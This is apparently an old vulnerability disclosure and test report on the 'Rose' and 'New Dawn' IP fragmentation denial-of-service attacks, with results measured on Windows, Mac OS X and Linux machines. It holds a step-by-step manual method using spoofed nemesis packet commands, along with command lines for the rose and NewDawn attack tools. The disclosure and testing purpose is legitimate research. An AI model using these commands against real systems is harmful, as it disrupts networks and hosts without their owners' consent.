This document is located at the following URLs and will be updated as needed:

   o   Introduction
   o   Rose Fragmentation Attack
          o   Rose Fragmentation Attack Tools
          o   Rose Fragmentation Manual Method
          o   Rose Attack Conclusions
   o   New Dawn Fragmentation Attack
          o   New Dawn Fragmentation Attack Tools
          o   New Dawn Fragmentation Attack Conclusions
   o   Attack Results for all attacks

The "Rose attack" was conceived from a need to disrupt a network for my SANS GIAC GCFW practical:

This attack is a combination of the SYN attack and the "Unknown" ICMP attack in the GCFW coursework:

When I looked at these attacks, I realized that the source address and source port could be spoofed.  No TCP handshake was required.  In fact I realized that this attack would work equally well with ICMP, UDP or TCP.  Firewalls do not matter because the packet is never evaluated / seen by the firewall.

Initially I wondered if I could just send the first and last fragments of a "large" packet and consume CPU and memory.  Most (if not all) implementations of the IP stack have accounted for this and will only allow reassembly of a certain number of packets.  See the first explanation for what I found.

I then sent my findings with the below (very manual) method of generating fragmented packets to Bugtraq. Laurent Constantin was kind enough to write rose.c making the attack a little more user friendly for testing.

Paul Starzetz mentioned in one of the threads that he knew of issues with sending lots of intermediary fragments and then rewriting the final fragment over and over again.  Chuck wrote the second variation of the attack that I call NewDawn.c and NewDawn2.c (named NewDawn to preclude confusion with the original "Rose attack").  I chose this name because New Dawn is a particularly thorny and nasty Rose variation:

Finally, IPV6 was not tested.  IPV6 allows fragmentation and per the IPv6 attack tools Clem1 has on his website some or all of the below attacks are applicable to IPV6.

I would like to thank Chris Brenton, Laurent Constantin and Chuck for their help in putting all of this together.

Rose Fragmentation Attack
The first attack is fairly simple.  Send the first few bytes of a fragmented packet at offset 0 (More Fragments Bit = 1) and then send a few bytes at the end of a 64k sized packet (More Fragments Bit = 0).  The placement of the last fragment does not have to be at 64k, this is just an attempt to use more memory.

Note that if you send with a random source address then the only way to track down the attack is to trace it hop by hop (router by router) back to the source.

Source port does not matter because the packet has not "moved up the stack" yet, so the stack does not validate that the destination port is even valid.  In some cases all legitimate fragmented packets are denied or impacted (UDP, TCP and ICMP) if you attack a machine in this manner.

When you send enough of these tiny fragments the buffer in the receiving machine fills waiting for the rest of the fragments to arrive.  Legitimate fragmented packets cannot enter the queue because it is already filled, waiting for the fragments that will never arrive.

Some implementations of the IP stack drop "old" fragmented packets that have not completed thus thwarting (to a greater or lesser degree) this attack.

Rose Fragmentation Attack Tools
Laurent Constantin was kind enough to program this attack from the below somewhat unwieldy manual set of instructions (see instruction starting with "Finally the (very) manual way to implement").  The program can be found at the following URL:

Library netwib must be installed to run rose.c:

Mike has implemented the attack in Python.  There is a difference in that the first Packet is at Frag Offset 1 (Byte 4) and the last one at frag Offset 16330 (Byte 65324).  This should not make any difference in the attack as long as the last packet byte is < 65475 (so that this would not look like a Ping O' Death attack):

Ventsislav Genchev wrote a perl script to implement this:

Clem1 has compiled some IPv6 attack tools. One of the tools is for the original Rose Attack:

Rose Fragmentation Manual Method
Finally the (very) manual way to implement the first attack if you don't have a compiler :-) :
A = "Attack" computer - Windows 2000, latest service pack and all patches

B = The computer that is attacked - Windows 2000, latest service pack and all patches   for the purposes of this test assume that the IP of the attacked computer is   Change as needed.

C = outside computer - Windows 2000, latest service pack and all patches

Load WinPcap on computer A:

Load WinDump on computer A:

(You probably don't need to load WinDump, but it is a good utility to have around)

Load Nemesis on computer A in directory C:\nemesis-1.4beta3>

Load netwox on computer A

Save the files Picmpdata.txt Ptcpdata.txt and Pudpdata.txt in the C:\nemesis-1.4beta3 directory (see attached).  These files are "sized" correctly to make "legal" fragmented packets.

Bring Up nemITUrnd.xls:

Change the IP Address of the destination machine if needed.

Select the rows, and fill down until you have seven thousand rows of packets

Save as <name>.csv - MS-DOS Comma Separated Text

Rename to <name>.txt

Bring <name>.txt up word.  You will see the lines:

nemesis icmp -S 10.,3,.,64,.,121, -D -d1 -i 8 -I ,7242, -P Picmpdata.txt -FM0,~,nemesis ip -S 10.,3,.,64,.,121, -D -d1 -I ,7242, -p 1 -P Picmpdata.txt -F8100,~,nemesis tcp -S 10.,196,.,212,.,207, -D -d1 -I ,2153, -s ,2494456820, -x ,36961, -y ,63398, -P Ptcpdata.txt -FM0,~,nemesis ip -S 10.,196,.,212,.,207, -D -d1 -I ,2153, -p 6 -P Ptcpdata.txt -F8100,~,nemesis udp -S 10.,195,.,74,.,172, -D -d1 -I ,6316, -x ,13253, -y ,20460, -P Pudpdata.txt -FM0,~,nemesis ip -S 10.,195,.,74,.,172, -D -d1 -I ,6316, -p 17 -P Pudpdata.txt -F8100

Change "~" to Paragraph.

Save document and exit

With a big file if you change both the tilde and the comma at the same time Word crawls to a stop, so save, exit, and bring it back up again to make the change to the comma.

Bring <name>.txt up in word

Change "," to nothing (I.e. replace "," with "")

Save and Exit

Copy <name>.txt to the directory where you put the nemesis executable:

C:\nemesis-1.4beta3> rename <name>.txt to <name>.bat

Open a cmd in and type the following for the ICMP UDP TCP Big Ping test:

C:\>netwox54 7 -R "hexa" -o nemesispingbig.txt --kbd
(dst and (tcp or udp or icmp))

Open a cmd in:


and type:


Let it run for several hours.  You now have about 35,000 packets.  During this test (if your computer A is fast enough) you can see the result by running a fragmented ping on computer C:
ping -t -l 1600

You should see ping Request Time Out messages

Now the real test begins (the previous just generated lots and lots of packets for you to send out all at once to "attack" the machine, you needed the attack machine on line to respond to ARP requests during the several hour test).   Start a ping from computer C that is fragmented:
ping -t -l 1600

To send all the packets all at once (first open Task Manager on computer B and watch the CPU utilization):
netwox54 14 -s -f nemesispingbig.txt

Now you should for sure see ping Request Time Out messages on computer C.   This will go on for about 2 minutes then the pings will start running again.

Rose Attack Conclusions
If there are enough attacking computers, a brute force attack can completely congest the bandwidth going to the server.  Since the source IP address is forged tracking down each machine would be painful.  This is (of course) not a new attack, just a consequence of the Rose Attack.

If the target is a slow computer, multiple fragments can spike the CPU up to 100%.

The third effect is that the CPU cannot process legitimate fragmented packets until the queue for the fragments times out.  Since cell phones and satellite systems use fragmented packets this could be an issue with specific web sites.

See "Attack Results for all attacks" for the results on different CPU's from this attack.

New Dawn Fragmentation Attack
The second attack is a little more complicated.  First send the first fragment at offset 0.  Then send intermediate fragments, skip every few fragments so that the packet is never a complete packet.  Finally send the ending fragment over and over and over again.   The CPU expends resources trying to reassemble all the fragments, but of course it doesn't have them all yet.   On many devices CPU utilization spikes up 30% or up to 100%.

Paul Starzetz gives a nice description:

Chuck found that he could spike the CPU of a Windows 2000 machine to 100 percent.   Chuck's explanation:
I have just been playing around with the timing on the second one.  What I have discovered is CPU only spikes for reassembling fragments for packets that already exist (ie, if you run incre_frag once, then ctrl-c and start again, the CPU and resources won't go through the moon).   Compiles on redhat-9.0.

Chuck further explains: (April 27)
"Rose attack and other such nonsense

Hey guys, wrote two little apps that seem to give windows a bad day.  Pretty much they are variations on the "old school" fragment based attacks.

Details are here:

I would like to take the time that I feel a little misunderstood in my quote there.   The second attack I wrote was not the rose attack perse, but application of what the rose attack presented to me.  Basically, windows will only bother keeping track of fragments representing 100 or less different IP packets (IP addresses/fragments with different IPID's).   What the hell does this mean?   Well, you can keep sending it teeny tiny fragments that continue to contain those IPIDs and fail miserably to line up properly, thereby wasting Windows time and forcing it to eat a lot of memory and CPU to keep track of all those different little pieces.   Fun huh?"

New Dawn Fragmentation Attack Tools
Chuck's code to spike a Windows machine to 100 percent:

I spent some time looking at and trying to compile NewDawn.c and NewDawn2.c but could not get it to work on a Mandrake 9.2 box, so I took the code from rose.c and modified it to send tiny intermediate fragments and then re-write the final fragment to implement the second attack.  Those files are:

Clem1 has compiled some IPv6 attack tools. One of the tools is for New Dawn:

New Dawn Fragmentation Attack Conclusions
The New Dawn attack is effective at elevating or pegging the CPU on most OSes that haven't fixed their code to account for this attack.  This attack has caused a NAT device to crash and reboot.

Both the Rose Attack and the New Dawn have been fixed in the latest Linux Kernel and on the latest Mac OS.

Cisco tells me "Generally speaking, we have features such as rate-limiters and access lists that are recommended as a best practice to protect against such DoS attacks.".


Attack Results for all attacks
The following data was collected from the machines available to me.   Send me more machines and I will test them for you :-).   All machines are patched to the latest & greatest patch level (including XP SP2 for the XP machine).   If you have additional data to fill in this table please send it to me .   Thanks:
 CPU |     OS      | Firewall | CPU Speed     | RAM Mb |
  1  |Windows XP   |ZoneAlarm | P4 2.5 GHz    | 512    |
  2  |OS/X 10.3.5  |Built-In  |Dual G4 1GHz   | 256    |
  3  |Windows 2000 |Symantec  |PIII 667 MHz   | 512    |
  4  |Mandrake 10  |Shorewall |PIII 450 MHz   | 192    |
  5  |Win 2000 Srv |Not On    |DualXeon2.4GHz | 1Gb    |
  6  |Mandrake 9.2 |Shorewall |Pent223MHz/MMX | 128    |

Except for CPU 1, 5 and 6, all machines were "attacked" from a Dell Latitude CP, 233 MHz machine, 96 Mb RAM, running Mandrake 9.2 (it was the only machine I have with a C compiler).  CPU's 1 and 6 were attacked from a PIII 450 MHz machine.  CPU 5 was attacked from a 366 MHz PII.

Whether or not a firewall was active did not seem to make a difference.   Again, these fragments never make it to layer 4 to be processed by a firewall.

I do not believe that the Linux Kernel v2.6.8-rc4 /net/ipv4/ip_fragment.c code should look quite so impervious as the below results seem to indicate.  It seems to me a 256 K limit of fragments is a little small for a server with today's proliferation of T1 and T3 connections, after 256K it drops down to a 192k limit and drops fragments.  The code does seem to take care of the last fragment rewrite by (it appears to me) just adding up the length of the fragments received in qp->meat and if that equals the length and you receive the last fragment then the fragment is complete and ready to be reassembled.   I suspect that a test could be devised that would keep the 192k buffer filled and still stop the machine from processing legitimate packets.

Software for the tests:
The initial Rose Attack (first and last fragment packet of a large packet sent):
rose.c =

The second Rose Attack (parts of a fragmented packet are sent, last fragment repeated many times, 32 byte fragments)
NewDawn3.c =

The second Rose Attack (parts of a fragmented packet are sent, last fragment repeated many times, 8 byte fragments)
NewDawn4.c =

(I could never get or to work, either piece of that software.  So I rewrote the first part of the code into NewDawn3.c and NewDawn4.c. Chuck tells me that he compiled it on gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5) Redhat 9 , custom 2.6.2 kernel)

Test | Command Line
  1  | ./rose 1 <IP Address>
  2  | ./NewDawn3 1 <IP Address> 0 5 9999 99999999 1021 8
  3  | ./NewDawn3 1 <IP Address> 0 190 9999 99999999 1021 8
  4  | ./NewDawn4 1 <IP Address> 0 5 9999 99999999 4000 2
  5  | ./NewDawn4 1 <IP Address> 0 50 9999 99999999 4000 2
  6  | ./NewDawn4 1 <IP Address> 0 190 9999 99999999 4000 2

CPU|        Test 1            |    Test 2     |   Test 3      |
 1 | Legitimate Fragmentation | CPU Util 30%  | CPU Util 30%  |
   | blocked for two minutes  | to 50%        | to 50%        |
 2 | Legitimate Fragmentation | 10% CPU Util  | 10% CPU Util  |
   | no loss                  | on one CPU    | on one CPU    |
 3 | Legitimate Fragmentation | 95% CPU Util  | 95% CPU Util  |
   | blocked for two minutes  |Packet rewrite |Packet rewrite |
 4 | Legitimate Fragmentation | about 0% CPU  | about 5% CPU  |
   | No Loss                  | Util Increase | Util Increase |
 5 | Not run, assume same as  |Task Mgr 25%CPU|10% CPU Util   |
   | test 1                   |Util but cursor|               |
   |                          |jerky.  Spikes |               |
   |                          |to 100% Util   |               |
 6 | 6 seconds (firewall      |100% CPU Util  |100% CPU Util  |
   | turned off for this test)|               |               |

CPU|    Test 4       |   Test 5      |    Test 6      |
 1 | Up to 70% CPU   | Up to 100% CPU| Avg 70% CPU    |
   |    Erratic      |    Erratic    |    Erratic     |
 2 |10% CPU Util     |10% CPU Util   |10% CPU Util    |
 3 |100% CPU Util    | Up to 50% Util| Up to 60% Util |
   |Locked Up Machine|               |                |
 4 |  about 0% CPU   | about 5% CPU  | 5% - 10% CPU   |
   |  Util Increase  | Util Increase | Util Increase  |
 5 | Task Mgr 25%CPU |Task Mgr 30%CPU| 10% CPU Util   |
   | Util but cursor |Util but cursor|                |
   | jerky.  Spikes  |jerky.   Spikes|                |
   | to 100% Util    |to 100% Util   |                |
 6 |  100% CPU Util  | 100% CPU Util | 100% CPU Util  |